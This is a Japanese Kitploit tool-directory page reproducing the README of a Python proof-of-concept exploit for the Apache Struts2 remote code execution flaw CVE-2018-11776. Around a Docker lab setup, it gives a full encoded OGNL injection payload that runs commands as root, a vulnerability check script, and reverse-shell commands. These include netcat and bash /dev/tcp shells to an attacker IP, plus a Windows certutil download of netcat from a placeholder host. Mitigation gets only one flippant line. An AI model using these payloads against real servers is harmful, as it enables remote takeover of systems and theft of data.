Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2018-11776-Python-PoC — CVE-2018-11776用の動作するPythonテストとPoC、Dockerラボを含む | Kitploit
ツール/GitHubGitHub/hook-s3c/cve-2018-11776-python-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発ラボと実践
GitHubhook-s3c/cve-2018-11776-python-poc

CVE-2018-11776-Python-PoC

CVE-2018-11776用の動作するPythonテストとPoC、Dockerラボを含む

リポジトリを見る
123497年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2018-11776-Python-PoC

hook-s3c (github.com/hook-s3c), @hook_s3c (Twitter上)

CVE-2018-11776用の動作するPythonテストと実証コード。元々は以下に掲載: https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

何が起こっているのか?

SemmleのMan Yue Mo氏が、リクエストのURLパスにエンコードされたペイロードで送信されるStruts2 RCE脆弱性を開示しました。

影響を受けるバージョンは2.3から2.3.34、および2.5から2.5.16です。

デフォルト構成では脆弱ではありませんが、設定を誤ると...アウトです。

Dockerインスタンスのセットアップ

エクスプロイトはcve-2017-5638用に構築されたDockerコンテナ(struts2-showcase-2.3.12)で問題なく動作します。

root@kitploit:~
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638

脆弱な設定のセットアップ

root@kitploit:~
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml 

以下の設定を追加します。

root@kitploit:~
<action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

そして以下の設定も追加します。

root@kitploit:~
<struts>
  <constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

Tomcatおよび/またはコンテナを再起動します。

root@kitploit:~
$ /usr/local/tomcat/bin/shutdown.sh

ターゲットが脆弱であることを確認

リダイレクトと評価が発生するかどうかを確認するためにURLをテストします。

http://0.0.0.0:32771/${2+2}/help.action > http://0.0.0.0:32771/4/date.action

テストスクリプトを使用します。

root@kitploit:~
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
testing the url for exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 is vulnerable!

コマンド実行のPoC

root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Execute]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/HEAD/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action



uid=0(root) gid=0(root) groups=0(root)

リバースシェル

リバースシェルを受け入れるためにマシンを準備します。

root@kitploit:~
$ netcat -lvp 31337

スクリプトを実行します。

root@kitploit:~
# you'll want to install netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'

# now pop that shell 
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'

32771をお使いの公開コンテナポートに置き換えてください。

Bashを使用した更新された方法。現在フォワードスラッシュに対応。

root@kitploit:~
$ netcat -lvp 31337
root@kitploit:~
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"

Windowsリバースシェル(未テスト)

root@kitploit:~
# grab netcat binary
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'

# execute
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'

デバッグ地獄(メモ)

フォワードスラッシュ(/)を含むすべてのリクエストは、Tomcatがこれらを積極的にブロックするため失敗します。回避策として、上記の例のように /bin/bash の代わりに環境変数 $SHELL を使用するなどの方法があります。

  • https://stackoverflow.com/questions/9719224/coding-forward-and-backward-slashes-in-tomcat-7
  • http://engineering.widen.com/blog/tomcat-slashes/

これを踏まえると、Windowsの /c フラグは期待通りに動作しません。Dockerコンテナでのみテストしました。

更新

@Menin_TheMiddle氏に感謝します。フォワードスラッシュの問題が解決できることを示してくれました。現在コードはフォワードスラッシュをサポートしており、netcatなしのbash経由のリバースシェルも可能になりました。また、Windowsインスタンスもサポートするようになりました(未テスト)。

緩和策

Strutsをパッチするか、単に使用しないでください。

もし侵害が発生し、顧客詳細が漏洩した場合、いつでもなりすまし製品を売ることができますね!(誰のことかわかっていますよ、最低な連中)

謝辞

感謝します;

  • Man Yue Mo(Semmle)氏、脆弱性の開示(https://semmle.com/news/apache-struts-CVE-2018-11776)
  • piesecurity氏、DockerfileラボとOGNLペイロードの例(https://github.com/piesecurity/apache-struts2-CVE-2017-5638)
  • xfox64x氏、手法の解説(https://github.com/xfox64x/CVE-2018-11776)
  • jiguang7氏、テスト(https://github.com/jiguang7/CVE-2018-11776)
  • @Menin_TheMiddle氏、解説(https://www.secjuice.com/apache-struts2-cve-2018-11776/)と私を目覚めさせてくれたこと :) コードがついにWindowsとbashリバースシェルをサポート

挨拶

vap0rsquadに叫べ!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces

ツールをダウンロード